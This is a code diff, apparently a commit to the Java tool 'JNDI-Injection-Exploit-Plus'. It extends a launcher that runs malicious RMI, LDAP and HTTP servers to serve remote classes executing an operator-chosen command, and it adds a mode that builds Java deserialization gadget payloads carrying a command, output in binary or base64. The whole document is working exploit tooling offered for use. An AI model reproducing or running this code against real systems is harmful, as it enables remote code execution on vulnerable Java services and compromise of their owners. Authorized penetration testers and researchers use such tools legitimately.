11package run ;
22
3+ import common .Strings ;
34import jetty .JettyServer ;
5+ import jndi .CommonDeserial ;
46import jndi .LDAPRefServer ;
57import jndi .RMIRefServer ;
68import org .apache .commons .cli .*;
79import org .apache .commons .lang3 .StringUtils ;
10+ import payloads .ObjectPayload ;
11+ import payloads .annotation .Authors ;
12+ import payloads .annotation .Dependencies ;
813
14+ import java .io .ObjectOutputStream ;
15+ import java .io .PrintStream ;
16+ import java .io .PrintWriter ;
917import java .net .*;
1018import java .text .DateFormat ;
1119import java .text .SimpleDateFormat ;
12- import java .util .Date ;
13- import java .util .Enumeration ;
20+ import java .util .*;
1421
1522import static util .Mapper .*;
1623
@@ -36,39 +43,87 @@ public static void main(String[] args) throws Exception{
3643
3744 CommandLineParser parser = new DefaultParser ();
3845 CommandLine cmd = null ;
46+ Options opts = null ;
3947 //default command
4048 String [] cmdArray = {"open" ,"/Applications/Calculator.app" };
49+ String deserial = "" ;
50+ String deserialOutput = "bin" ;
51+
4152
4253 try {
43- cmd = parser .parse (cmdlineOptions (),args );
54+ opts = cmdlineOptions ();
55+ cmd = parser .parse (opts , args );
4456 }catch (Exception e ){
4557 System .err .println ("Cmdlines parse failed." );
58+ printBasicUsage (opts );
4659 System .exit (1 );
4760 }
48- if (cmd .hasOption ("C" )) {
61+ if (cmd .hasOption ("help" )) {
62+ printBasicUsage (opts );
63+ return ;
64+ }
65+ if (cmd .hasOption ("C" )) {
4966 cmdArray = cmd .getOptionValues ('C' );
5067 }
51- if (cmd .hasOption ("A" )) {
68+ if (cmd .hasOption ("A" )) {
5269 addr = cmd .getOptionValue ('A' );
5370 }
71+ if (cmd .hasOption ("D" )) {
72+ deserial = cmd .getOptionValue ('D' );
73+ }
74+ if (cmd .hasOption ("O" )) {
75+ deserialOutput = cmd .getOptionValue ('O' );
76+ if (!(deserialOutput .equals ("bin" ) || deserialOutput .equals ("base64" ))){
77+ System .out .println ("Error in param -O, you can only select bin / base64" );
78+ return ;
79+ }
80+ }
5481
55- ServerStart servers = new ServerStart (new URL ("http://" + addr +":" + jettyPort +"/" ),StringUtils .join (cmdArray ," " ));
56- System .out .println ("[rmiADDRESS] >> " + "rmi://" + addr + ":" + rmiPort );
57- System .out .println ("[ldapADDRESS] >> " + "rmi://" + addr + ":" + ldapPort );
58- System .out .println ("[COMMAND] >> " + withColor (StringUtils .join (cmdArray ," " ),ANSI_BLUE ));
59- Class .forName ("util.Mapper" );
82+ if (deserial .length () == 0 ) {
83+ ServerStart servers = new ServerStart (new URL ("http://" + addr +":" + jettyPort +"/" ),StringUtils .join (cmdArray ," " ));
84+ System .out .println ("[rmiADDRESS] >> " + "rmi://" + addr + ":" + rmiPort );
85+ System .out .println ("[ldapADDRESS] >> " + "rmi://" + addr + ":" + ldapPort );
86+ System .out .println ("[COMMAND] >> " + withColor (StringUtils .join (cmdArray ," " ),ANSI_BLUE ));
87+ Class .forName ("util.Mapper" );
6088
61- System .out .println ("----------------------------Server Log----------------------------" );
62- System .out .println (getLocalTime () + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort );
63- Thread threadJetty = new Thread (servers .jettyServer );
64- threadJetty .start ();
89+ System .out .println ("----------------------------Server Log----------------------------" );
90+ System .out .println (getLocalTime () + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort );
91+ Thread threadJetty = new Thread (servers .jettyServer );
92+ threadJetty .start ();
6593
66- System .out .println (getLocalTime () + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort );
67- Thread threadRMI = new Thread (servers .rmiRefServer );
68- threadRMI .start ();
94+ System .out .println (getLocalTime () + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort );
95+ Thread threadRMI = new Thread (servers .rmiRefServer );
96+ threadRMI .start ();
6997
70- Thread threadLDAP = new Thread (servers .ldapRefServer );
71- threadLDAP .start ();
98+ Thread threadLDAP = new Thread (servers .ldapRefServer );
99+ threadLDAP .start ();
100+ }
101+ else {
102+ String cmdStr = String .join (" " , cmdArray );
103+ URL codebase ;
104+ if (cmdStr .startsWith ("http" )){
105+ codebase = new URL (cmdStr );
106+ }else {
107+ codebase = null ;
108+ }
109+ CommonDeserial commonDeserial = new CommonDeserial (codebase , cmdStr );
110+ byte [] deserialBytes = commonDeserial .execByDeserialize (deserial );
111+ if (deserialBytes .length == 0 ) {
112+ System .out .println ("Error in Deserialization, Please use the correct payload name." );
113+ printDeserialUsage ();
114+ return ;
115+ }
116+ if (deserialOutput .equals ("bin" )) {
117+ PrintStream out = System .out ;
118+ final ObjectOutputStream objOut = new ObjectOutputStream (out );
119+ objOut .writeObject (deserialBytes );
120+ }
121+ else if (deserialOutput .equals ("base64" )){
122+ System .out .print (Base64 .getEncoder ().encodeToString (deserialBytes ));
123+ }else {
124+ System .out .println ("Error in param -O, you can only select bin / base64" );
125+ }
126+ }
72127
73128 }
74129
@@ -90,11 +145,18 @@ public ServerStart(URL codebase, String cmd) throws Exception{
90145
91146 public static Options cmdlineOptions (){
92147 Options opts = new Options ();
148+ Option help = new Option ("help" ,false ,"Show the help info." );
149+ opts .addOption (help );
93150 Option c = new Option ("C" ,true ,"The command executed in remote .class." );
94151 c .setArgs (Option .UNLIMITED_VALUES );
95152 opts .addOption (c );
96153 Option addr = new Option ("A" ,true ,"The address of server(ip or domain)." );
97154 opts .addOption (addr );
155+ Option deserial = new Option ("D" ,true ,"The deserial payload name" );
156+ opts .addOption (deserial );
157+ Option deserialOutput = new Option ("O" ,true ,"The deserial output type, default is bin" );
158+ opts .addOption (deserialOutput );
159+
98160 return opts ;
99161 }
100162
@@ -143,4 +205,38 @@ public static String withColor(String str,String color){
143205 return str ;
144206 }
145207
208+ private static void printBasicUsage (Options opts ){
209+ System .out .println ();
210+ HelpFormatter formatter = new HelpFormatter ();
211+ formatter .printHelp ("Have fun with JNDI-Injection-Exploit-Plus" , opts );
212+ System .out .println ();
213+ printDeserialUsage ();
214+ }
215+
216+ private static void printDeserialUsage () {
217+ System .out .println ();
218+ System .out .println ("JNDI-Injection-Exploit-Plus Available Deserialization Payloads:" );
219+
220+ final List <Class <? extends ObjectPayload >> payloadClasses =
221+ new ArrayList <Class <? extends ObjectPayload >>(ObjectPayload .Utils .getPayloadClasses ());
222+ Collections .sort (payloadClasses , new Strings .ToStringComparator ()); // alphabetize
223+
224+ final List <String []> rows = new LinkedList <String []>();
225+ rows .add (new String [] {"Payload" , "Authors" , "Dependencies" });
226+ rows .add (new String [] {"-------" , "-------" , "------------" });
227+ for (Class <? extends ObjectPayload > payloadClass : payloadClasses ) {
228+ rows .add (new String [] {
229+ payloadClass .getSimpleName (),
230+ Strings .join (Arrays .asList (Authors .Utils .getAuthors (payloadClass )), ", " , "@" , "" ),
231+ Strings .join (Arrays .asList (Dependencies .Utils .getDependenciesSimple (payloadClass )),", " , "" , "" )
232+ });
233+ }
234+
235+ final List <String > lines = Strings .formatTable (rows );
236+
237+ for (String line : lines ) {
238+ System .err .println (" " + line );
239+ }
240+ }
241+
146242}
0 commit comments